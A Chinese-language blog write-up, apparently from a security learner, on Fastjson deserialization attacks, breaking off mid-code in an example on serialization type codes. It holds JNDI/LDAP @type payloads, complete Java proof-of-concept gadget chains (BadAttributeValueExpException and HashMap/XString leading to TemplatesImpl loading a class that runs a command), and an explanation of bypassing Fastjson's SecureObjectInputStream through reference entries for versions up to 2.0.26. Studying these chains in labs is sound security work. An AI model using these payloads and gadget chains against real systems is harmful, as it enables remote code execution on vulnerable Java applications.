"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}

OracleManagedConnectionFactory

1
2
3
4
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

1
2
3
4
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}

从黑盒&白盒的角度分析一些报错的成因以及处理方法

在打靶场的时候我遇到这样的一个问题

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://ip:9473/TouchFile",
"autoCommit": true
}

上面这个vulhub的靶场payload无论怎么打都是不行,下面这个payload则可以

1
2
3
4
5
6
7
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://ip:9473/TouchFile",
"autoCommit": true
}
}

那么问题来了为什么要嵌套才能成功?

扒了一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Controller
/* loaded from: fastjsondemo.jar:BOOT-INF/classes/org/vulhub/fastjsondemo/JSONController.class */
public class JSONController {
@RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public Object getUser() {
User user = new User();
user.setName("Bob");
user.setAge(25);
return user;
}

@RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public Object setUser(@RequestBody User user) {
user.setAge(20);
return user;
}
}

关键点参数类型被声明为User

也就是说会把得到的json反序列化成一个User对象

这是很符合正常业务逻辑的

但是由于如果我们不嵌套的情况下又会出现@type指定类导致两个类型存在冲突而产生报错

那么如何处理或者说绕过这种情况呢?

我们可以通过嵌套一个新的json

并且这个字段是任意的值去实现(最好是不要跟原有的name,age这种属性冲突)

1
2
3
4
5
6
7
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://ip:9473/TouchFile",
"autoCommit": true
}
}

比如这样

json在解析嵌套的循环的json数据的时候,如果某个字段的值是一个 JSON 对象(即 {...}),并且该字段对应的类是 Object / Map / 自定义类 / 甚至是泛型等,它就会递归调用自己去解析这个嵌套的对象结构

为什么要一个新的字段名也可以呢?

通过这个文件下的fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class分析

image-20250529235708018

我们可以发现当字段不存在的时候也会正常的解析和处理

fastjson原生反序列化:(<=1.2.48)

先了解一下原生是什么意思?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
## Fastjson原生反序列化的利用点

### 需要常规的反序列化入口点

Fastjson的原生反序列化**必须**在一个常规的Java反序列化入口点才能触发,而不是fastjson自己的反序列化入口。

### 具体说明

#### 1. **不是**通过fastjson的反序列化入口

```java
// 这些都不是fastjson原生反序列化的入口点
JSON.parse(jsonString); // fastjson的JSON反序列化
JSON.parseObject(jsonString); // fastjson的对象反序列化
JSON.parseArray(jsonString); // fastjson的数组反序列化
```

#### 2. **必须**通过Java原生反序列化入口

```java
// 这些才是fastjson原生反序列化需要的入口点
ObjectInputStream.readObject(); // 直接调用
ObjectInputStream.readUnshared(); // 变体
XMLDecoder.readObject(); // XML反序列化
Hessian2Input.readObject(); // Hessian反序列化
// 其他任何调用ObjectInputStream.readObject()的地方
```

## 完整的攻击场景

### 攻击链条

```
1. 应用存在常规反序列化入口 (如接收序列化数据的接口)

2. 攻击者构造包含JSONArray/JSONObject的序列化数据

3. 应用调用ObjectInputStream.readObject()

4. 触发JSONArray/JSONObject的toString方法

5. 调用恶意对象的getter方法

6. 执行恶意代码
```

### 实际利用场景

#### 场景1:Web应用的反序列化接口

```java
// 应用代码 - 存在反序列化入口
@PostMapping("/deserialize")
public Object deserialize(@RequestBody byte[] data) {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
return ois.readObject(); // 反序列化入口点
}
}
```

#### 场景2:RMI服务

```java
// RMI服务中的方法参数反序列化
public interface RemoteService extends Remote {
void processData(Object data) throws RemoteException; // 参数会被反序列化
}
```

#### 场景3:消息队列

```java
// 消息队列消费者
@MessageListener
public void onMessage(Object message) {
// message对象通过反序列化得到
}
```

## 利用条件总结

### 必要条件

1. **应用中存在Java原生反序列化入口**
2. **攻击者可以控制序列化数据的内容**
3. **classpath中包含fastjson的jar包**
4. **目标应用会反序列化包含JSONArray/JSONObject的数据**

### 攻击payload构造

```java
// 攻击者需要构造这样的数据结构
TemplatesImpl templates = createEvilTemplates();
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
setFieldValue(payload, "val", jsonArray);

// 通过原生序列化发送给目标应用
ObjectOutputStream.writeObject(payload);
```

## 对比总结

| 攻击类型 | 入口点 | 触发方式 | 数据格式 |
| -------------------- | -------------------------------- | -------------- | -------------------- |
| Fastjson反序列化 | `JSON.parse()` | @type字段 | JSON字符串 |
| Fastjson原生反序列化 | `ObjectInputStream.readObject()` | toString调用链 | Java序列化二进制数据 |

## 关键理解点

1. **Fastjson原生反序列化是一个Gadget**:它本身不是入口点,而是在Java原生反序列化过程中被利用的一个组件
2. **需要真正的反序列化漏洞**:应用必须存在接受和处理Java序列化数据的功能
3. **Fastjson只是被动触发**:JSONArray/JSONObject作为序列化数据的一部分,在反序列化过程中被恢复,然后触发恶意调用链
4. **攻击面扩大**:即使应用禁用了fastjson的AutoType,如果有原生反序列化入口,仍然可能被攻击

所以答案是:**必须是常规的Java反序列化入口点**,fastjson的原生反序列化只是在这些入口点中被利用的一个gadget chain。


下文会做个简单的分析和梳理

更详细的write里的getter调用细节感兴趣的师傅可以参考

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://blog.csdn.net/dlf123321/article/details/134197379

利用与限制

Fastjson1版本小于等于1.2.48

Fastjson2目前通杀(目前最新版本2.0.26)

分析

既然涉及原生反序列化利用,我们需要在fastjson包中寻找实现了Serializable接口的类。经过筛选,主要有两个可用的类:JSONArrayJSONObject,这两个类在原生反序列化中的利用方式基本相同,这里以JSONArray为例进行分析。

通过IDEA可以观察到,虽然JSONArray实现了Serializable接口,但它本身并没有重写readObject方法,其父类JSON同样如此。因此,我们需要寻找一个”中转点”——通过其他类的readObject方法来触发JSONArrayJSON类中的特定方法,从而构成完整的利用链。

关键在于JSON类的toString方法会调用toJSONString方法,而这个调用链对我们来说并不陌生。在使用JSON.parse()触发getter方法时,常用的手法就是通过JSONObject嵌套恶意payload来实现。

因此,利用思路就很清晰了:找到合适的入口点触发toStringtoJSONString → getter方法的调用链,最终实现代码执行。

大概利用思路:

toStringtoJSONString → getter方法的调用链

我们还需要一个readobject点去触发toString函数

如果学过cc链

那么我们可以直接去使用BadAttributeValueExpException

没学过也可以去看看我博客下的BadAttributeValueExpException文章分析

至于这里是调用getter方法

那么调用点就需要是一个get+methodname的函数

TestTemplatesImpl恰好就可以通过getOutputProperties()去作为触发点的入口

那么整条链子就连接起来了

1
2
3
4
5
BadAttributeValueExpException.readObject->
JSON.toString->
JSON.toJSONString->
(new JSONSerializer(out)).write(this)->//write里会实现对get的调用
TestTemplatesImpl->getOutputProperties()
1
2
3
4
5
6
7
8
BadAttributeValueExpException.readObject()
→ JSONArray.toString()
→ JSON.toJSONString(this)
→ SerializeWriter.write()
→ ASM生成的JavaBeanSerializer.write()
→ entity.getOutputProperties() // ← 真正的getter调用
→ TemplatesImpl加载恶意字节码
→ 执行恶意代码

image-20250602153527011

write函数中getter调用的详细分析

第一步:序列化器查找

  • 当JSONArray调用toString方法时,会进一步调用toJSONString方法
  • FastJSON需要将对象序列化为JSON字符串,通过ObjectSerializer类的write方法处理对象属性的序列化
  • 首先检查serializers这个HashMap中是否存在该类型的默认序列化器映射关系
  • 默认映射主要包括基本数据类型、包装类、集合类等,但大多数自定义类都不在默认映射中

第二步:创建Bean序列化器

  • 如果没有找到默认映射,调用createJavaBeanSerializer创建专用的ObjectSerializer对象
  • 这个过程的关键步骤:
    • 调用TypeUtils.buildBeanInfo(clazz, null, propertyNamingStrategy, fieldBased)提取类的Bean信息
    • BeanInfo提取会识别类中所有具有getter方法的属性,并将这些属性信息封装成FieldInfo对象
    • 只有拥有getter方法的字段才会被包含在后续的序列化过程中

第三步:ASM动态代码生成与getter调用

  • createJavaBeanSerializer最终委托给createASMSerializer处理

  • 通过ASM框架动态创建一个专门的序列化器类来提升性能

  • 在ASMSerializerFactory.generateWriteMethod中:

    • 遍历BeanInfo中的所有FieldInfo对象

    • 根据每个字段的类型调用相应的处理方法(如_long、_int、_string等)

    • 在_get方法中生成字节码,

      通过反射调用对应的getter方法

      1
      2
      3
      4
      5
      6
      7
      8
      9
      // 关键代码逻辑
      Method method = fieldInfo.method; // 获取getter方法
      if (method != null) {
      // 生成方法调用的字节码指令
      mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182,
      ASMUtils.type(declaringClass),
      method.getName(),
      ASMUtils.desc(method));
      }

关于这个write的getter调用的分析除了看原文章我还拷打了几次ai把一些感觉还不错的ai稍微copy到下面了.在最后可以看

第一条利用链和poc

1
2
3
4
5
6
7
8
BadAttributeValueExpException.readObject()
→ JSONArray.toString()
→ JSON.toJSONString(this)
→ SerializeWriter.write()
→ ASM生成的JavaBeanSerializer.write()
→ entity.getOutputProperties() // ← 真正的getter调用
→ TemplatesImpl加载恶意字节码
→ 执行恶意代码

poc取自https://infernity.top/2025/02/16/fastjson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E8%A7%A6%E5%8F%91toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main {
public static void main(String[] args) throws Exception{
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

//触发toString
BadAttributeValueExpException BadAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(BadAttributeValueExpException,"val", jsonArray);

//序列化,反序列化
String ser = serialize(BadAttributeValueExpException);
unserialize(ser);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class calc extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
Process calc = Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

第二条利用链和poc

这里是通过Hessian反序列化利用链的前半段去触发tostring的其他部分是跟第一条利用链一样的

HashMap.readObject() -> XString.equals() -> 任意调 toString()

1
2
3
4
5
6
7
8
9
HashMap.readObject()
→ XString.equals
→ JSONArray.toString()
→ JSON.toJSONString(this)
→ SerializeWriter.write()
→ ASM生成的JavaBeanSerializer.write()
→ entity.getOutputProperties() // ← 真正的getter调用
→ TemplatesImpl加载恶意字节码
→ 执行恶意代码

poc依旧取自infernity神

https://infernity.top/2025/02/16/fastjson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main {

public static void main(String[] args) throws Exception{
//生成一个templates,加载恶意类字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

//XString.equals
XString xString = new XString("Infernity");
//序列化,反序列化
String ser = serialize(HashMap_to_anyequals_to_anytoString(xString,jsonArray));
unserialize(ser);
}
//HashMap.readObject() -> 任意equals() -> 任意toString()
public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{
//XString xString = new XString("Infernity");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}
//hashmap的put实际上就是,这个具体用法我也不清楚
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组,我去,破案了
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

fastjson原生反序列化:(>=1.2.49&<=2.0.26)

版本:<=2.0.26通杀(2.0.27修复了)

这里先贴师傅的一段话看个大概先后面我会做更深入的解读和讲解(适合基础偏弱的(好吧我就是偏弱的)

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

之前提到了从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,

image-20230426095410017

在其SecureObjectInputStream类当中重写了resolveClass,通过调用了checkAutoType方法做类的检查,这样真的是安全的么?

resolveClass的调用

乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截

这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

不安全的反序列化过程

1
2
3
ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass

安全的反序列化过程

多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上

1
TestInputStream -> readObject -> resolveClass

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}

再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出

image-20230426102949380

那么就只剩下了reference引用类型了

更深入的解读分析:

首先是这种不安全的写法

关键点就在于这里的xxxxx可能存在利用点让我们尝试绕过

这样就无法触发SecureObjectInputStream的readobject()

更好的和更常见的写法应该是

直接写一个继承类然后重写resolveclass的函数才对

image-20250603204237086

Tc是什么

TC类似于一种序列化数据里的标签

除了常见在第五个字节

后续的如果还有什么数据的话都会出现这种类似于标签的东西

用来表明当前是一个数组?还是一个对象?还是一个字符串

还不太了解的师傅可以看看这个拷打ai的对话.如果有了解过的可以直接跳过这个代码块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
好的!我用一个非常简单的比喻来解释:

## 把序列化想象成"打包快递"

### 1. 什么是TC类型码?

TC类型码就像**快递包裹上的标签**,告诉收件人里面装的是什么:

```
📦 标签:[衣服] → TC_OBJECT (普通物品)
📦 标签:[书籍] → TC_STRING (字符串)
📦 标签:[易碎品] → TC_ARRAY (数组)
📦 标签:[重复件] → TC_REFERENCE (这个我之前寄过)
```

### 2. 简单的例子

让我写一个超级简单的例子:## 关键理解

### 1. TC类型码 = 包裹标签

想象你在网购:
- 你买了一本书 → 快递员贴上"书籍"标签
- 你买了衣服 → 快递员贴上"衣服"标签
- 你又买了同样的书 → 快递员贴上"重复购买"标签

**TC类型码就是这些标签!**

### 2. 为什么有引用(TC_REFERENCE)?

```
第一次发送:Person("小明")
包裹内容:[完整的Person对象数据]
标签:TC_OBJECT (0x73)

第二次发送:同一个Person("小明")
包裹内容:[指向第一个对象的编号,比如:#1]
标签:TC_REFERENCE (0x71)
```

就像快递公司说:"这个我们之前送过,直接给你之前那个的复制品"

### 3. 安全问题在哪里?

```java
// 安全检查员(resolveClass)的工作流程:

if (标签 == "普通对象") {
检查这个对象是否安全 ✅

} else if (标签 == "引用") {
直接给你之前的对象,不检查 ❌ // 问题在这里!
}
```

**攻击者的套路:**
1. 第一次发送恶意对象(想办法通过检查)
2. 第二次发送同一个恶意对象(但是用引用方式)
3. 第二次就绕过了安全检查!

### 4. 现实比喻

这就像:
- 第一次你带了一把刀进地铁,保安检查了(假设通过了)
- 第二次你说"我是刚才那个人,刀还是那把刀"
- 保安说"好的,直接进去吧",不再检查

**这就是安全漏洞!**

## 总结

- **TC类型码** = 包裹上的标签,告诉程序里面是什么
- **TC_OBJECT** = "普通物品"标签 → 需要安全检查
- **TC_REFERENCE** = "重复物品"标签 → 跳过安全检查
- **攻击原理** = 利用"重复物品"标签绕过检查

这样理解了吗?



不对!第五个字节位置**不一定**是标签,其他地方也会有TC标签!

让我用更准确的例子来说明:## TC标签的真实位置规律

### 1. Java序列化数据的基本结构

```
[魔数] [版本] [数据内容...]
AC ED 00 05 74 00 02 48 69
↑ ↑ ↑
2字节 2字节 这里开始才是真正的数据
```

### 2. 不同对象的TC位置示例

#### 简单字符串 "Hi":
```
位置: 0 1 2 3 4 5 6 7 8
数据: AC ED 00 05 74 00 02 48 69
↑ ↑ ↑ ↑ ↑
魔数 TC_STRING长度 H i
```
**TC_STRING (0x74) 在位置 4**

#### 普通对象:
```
位置: 0 1 2 3 4 5 6 7 8 9 10 ...
数据: AC ED 00 05 73 72 00 06 50 65 72 ...
↑ ↑ ↑
魔数 TC_OBJECT TC_CLASSDESC
```
**TC_OBJECT (0x73) 在位置 4,TC_CLASSDESC (0x72) 在位置 5**

#### 数组:
```
位置: 0 1 2 3 4 5 6 7 8 9 ...
数据: AC ED 00 05 75 72 00 13 [L 6A ...
↑ ↑ ↑
魔数 TC_ARRAY TC_CLASSDESC
```

### 3. 重要发现

1. **第4个位置(索引4)**通常是第一个TC类型码
2. **但不是唯一位置!**TC类型码会出现在很多地方
3. **复杂对象**会有多个TC类型码散布在不同位置

### 4. 为什么会有多个TC标签?

想象一个复杂的包裹:
```
📦 大包裹标签:TC_OBJECT (这是个对象)
└── 📦 内部包裹1:TC_CLASSDESC (类描述信息)
└── 📦 内部包裹2:TC_STRING (对象里的字符串属性)
└── 📦 内部包裹3:TC_BLOCKDATA (其他数据)
```

### 5. 实际例子解释

当你序列化一个Person对象时:
```java
Person person = new Person("小明", 25);
```

序列化数据可能是:
```
AC ED 00 05 // 固定头部
73 // TC_OBJECT (开始一个对象)
72 // TC_CLASSDESC (类描述符开始)
00 06 // 类名长度
50 65 72 73 6F 6E // "Person"
... // 更多类信息
74 // TC_STRING (字符串 "小明")
00 06 // 字符串长度
E5 B0 8F E6 98 8E // "小明" 的UTF-8编码
... // 年龄等其他数据
```

### 总结

- **TC类型码不只在第5个字节!**
- **它们散布在整个数据流中**
- **每个TC标签标记一个新的数据结构**
- **反序列化器按顺序读取这些标签来重建对象**

这就像拆一个套娃包裹,每一层都有自己的标签!


//TC类型码简单示例
import java.io.*;

public class SimpleTCExample {
public static void main(String[] args) throws Exception {
System.out.println("=== 简单理解TC类型码 ===\n");

// 例子1:发送一个字符串
System.out.println("1. 发送字符串 'Hello'");
sendAndReceive("Hello");

System.out.println("\n" + "=".repeat(50) + "\n");

// 例子2:发送一个对象
System.out.println("2. 发送一个Person对象");
Person person = new Person("小明");
sendAndReceive(person);

System.out.println("\n" + "=".repeat(50) + "\n");

// 例子3:发送同一个对象两次(这里会出现引用)
System.out.println("3. 发送同一个对象两次");
sendSameObjectTwice();
}

// 模拟发送和接收过程
public static void sendAndReceive(Object obj) throws Exception {
// 第1步:打包(序列化)
System.out.println("📦 正在打包...");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();

byte[] packageData = baos.toByteArray();

// 第2步:查看包裹标签(TC类型码)
System.out.println("🏷️ 包裹标签内容:");
showPackageLabel(packageData);

// 第3步:拆包(反序列化)
System.out.println("📪 正在拆包...");
ByteArrayInputStream bais = new ByteArrayInputStream(packageData);
ObjectInputStream ois = new ObjectInputStream(bais);
Object received = ois.readObject();
ois.close();

System.out.println("✅ 收到:" + received);
}

// 查看包裹上的标签(TC类型码)
public static void showPackageLabel(byte[] data) {
// Java序列化数据前4个字节是固定的头部
// 第5个字节开始才是我们关心的TC类型码
if (data.length > 4) {
byte tc = data[4]; // 获取第一个TC类型码

System.out.println(" 标签代码:0x" + String.format("%02X", tc & 0xFF));

// 翻译标签含义
switch (tc) {
case 0x74: // TC_STRING
System.out.println(" 📝 标签含义:这是一个字符串");
System.out.println(" 📍 处理方式:直接读取字符串内容");
break;

case 0x73: // TC_OBJECT
System.out.println(" 👤 标签含义:这是一个普通对象");
System.out.println(" 📍 处理方式:需要检查对象类型 (调用resolveClass)");
break;

case 0x71: // TC_REFERENCE
System.out.println(" 🔗 标签含义:这是一个重复对象的引用");
System.out.println(" 📍 处理方式:直接找之前的对象 (不调用resolveClass)");
break;

case 0x75: // TC_ARRAY
System.out.println(" 📚 标签含义:这是一个数组");
System.out.println(" 📍 处理方式:需要检查数组类型 (调用resolveClass)");
break;

default:
System.out.println(" ❓ 其他类型的标签");
}
}
}

// 演示同一对象发送两次的情况
public static void sendSameObjectTwice() throws Exception {
Person person = new Person("小红");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);

System.out.println("📦 第一次打包 Person对象...");
oos.writeObject(person); // 第一次:会写入完整对象数据

System.out.println("📦 第二次打包同一个 Person对象...");
oos.writeObject(person); // 第二次:只会写入引用

oos.close();
byte[] data = baos.toByteArray();

// 分析数据中的TC类型码
System.out.println("\n🔍 分析整个包裹的标签:");
analyzeTCCodes(data);

// 拆包验证
System.out.println("\n📪 拆包验证:");
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);

Person person1 = (Person) ois.readObject();
Person person2 = (Person) ois.readObject();

System.out.println("第一个对象:" + person1);
